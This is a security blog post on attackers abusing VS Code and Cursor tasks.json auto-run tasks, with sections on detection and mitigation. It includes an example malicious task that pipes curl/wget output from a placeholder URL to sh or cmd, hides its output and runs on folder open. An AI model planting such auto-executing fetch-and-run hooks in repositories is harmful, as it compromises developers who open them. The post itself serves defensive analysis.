Fun With Flags Tasks
While reading this blog post over Christmas, I learned of a VS Code feature that I was previously unaware of. According to the official documentation the tasks feature is intended to provide a bridge between VS Code and external applications for task automation, such as running builds without leaving the IDE. However, as discussed in the Open Source Malware post, attackers are abusing this feature to trigger execution of shell commands when the repo is opened in the IDE.
Tasks are defined within .vscode/tasks.json, which is respected by VS Code, and forks alike. Tasks can run a single shell command or kick of a shell script at a specified path amd can be configured to run automatically by setting the runOn attribute to folderOpen.
By default the VS Code Workspace Trust settings are configured to prompt the user whether to run in normal or restricted mode only on first open, and never again thereafter. This appears to be the only thing preventing a task from being automatically run (assuming default settings elsewhere).
According to the Cursor documentation, Workspace Trust is disabled by default and so there are no out-of-the-box controls that would prevent malicious tasks from being silently executed in Cursor.
Workspace Trust is disabled by default in Cursor. You can enable it by setting
security.workspace.trust.enabledtotruein your Cursor settings. It is disabled by default to prevent confusion between Workspace Trust’s “Restricted Mode” and Cursor’s “Privacy Mode”, and because its trust properties are nuanced and hard to understand
Examples in the Wild⌗
A quick search of GitHub and VirusTotal reveals there are several near-identical examples of this in the wild, many which of which contains commits which attempt to impersonate known individuals in the cryptocurrency space including folks from Uniswap and Tenderly. As most of the individuals have vigilant mode enabled it is pretty easy to spot the fake commits.
While the specifics of the tasks may vary from example to example, the general theme is for the tasks.json file to contain a task definition which performs a curl command, often to a *.vercel.app endpoint though this isn’t a requirement, and pipes the output to sh. Various task presentation options are used to hide the command output in a bid to remain undetected.
This is your classic fileless malware with the added twist that the parent process originates from the signed IDE Electron helper process.
{
"version": "2.0.0",
"tasks": [
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl '<some URL>' | sh"
},
"linux": {
"command": "wget '<some URL>' | sh"
},
"windows": {
"command": "curl '<some URL>' | cmd"
},
"problemMatcher": [],
"presentation": {
"reveal": "never",
"echo": false,
"focus": false,
"close": true,
"panel": "dedicated",
"showReuseMessage": false
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
Detection⌗
Detecting this behaviour is relatively easy, however distinguishing between legitimate use of the tasks feature and malware is difficult and will almost certainly require some environment-specific tuning.
In the case of VS Code the parent process for the executed command block is /Applications/Visual Studio Code.app/Contents/Resources/app/node_modules/node-pty/build/Release/spawn-helper. This translates to VS Code forks as they all bundle the spawn-helper binary in Foo.app/Contents/Resources/app/node_modules/node-pty/build/Release/spawn-helper and share the same signing ID of spawn-helper.
Combining this parent process with invocations of curl should provide an easy way to identify these current crop of malicious tasks though if when this evolves to running shell scripts reliably detecting only malicious tasks will be extremely difficult.
Mitigation⌗
Automatic task execution can be globally disabled by setting task.allowAutomaticTasks to off in your user-scoped settings.json. This comes at the cost of disabling all tasks from be executed automatically, however tasks can still be executed manually from the command palette.
You can also configure the Workspace Trust prompt to trigger every time a repo is opened, instead of the default of on a single time, by setting security.workspace.trust.startupPrompt to always. Chances are that unless you’re feeling extra paranoid this is probably an unnecessary step and would likely condition users to blind press “trust” just to dismiss the prompt. In the case of Cursor and other forks that don’t enable Workspace Trust by default, you’ll also need to set security.workspace.trust.enabled to true.
Future Evolution⌗
While the examples I have observed so far are quite primitive, in simply shelling out to curl, it’s likely that this technique will evolve to executing a shell script, contained elsewhere within the repo, to give greater flexibility and make reliable detection significantly more difficult.
Given the ever-increasing desire to shove more AI into IDEs and the willingness to blindly trust AI agents, it is also possible that this vector could be leveraged to abuse AI CLI tools.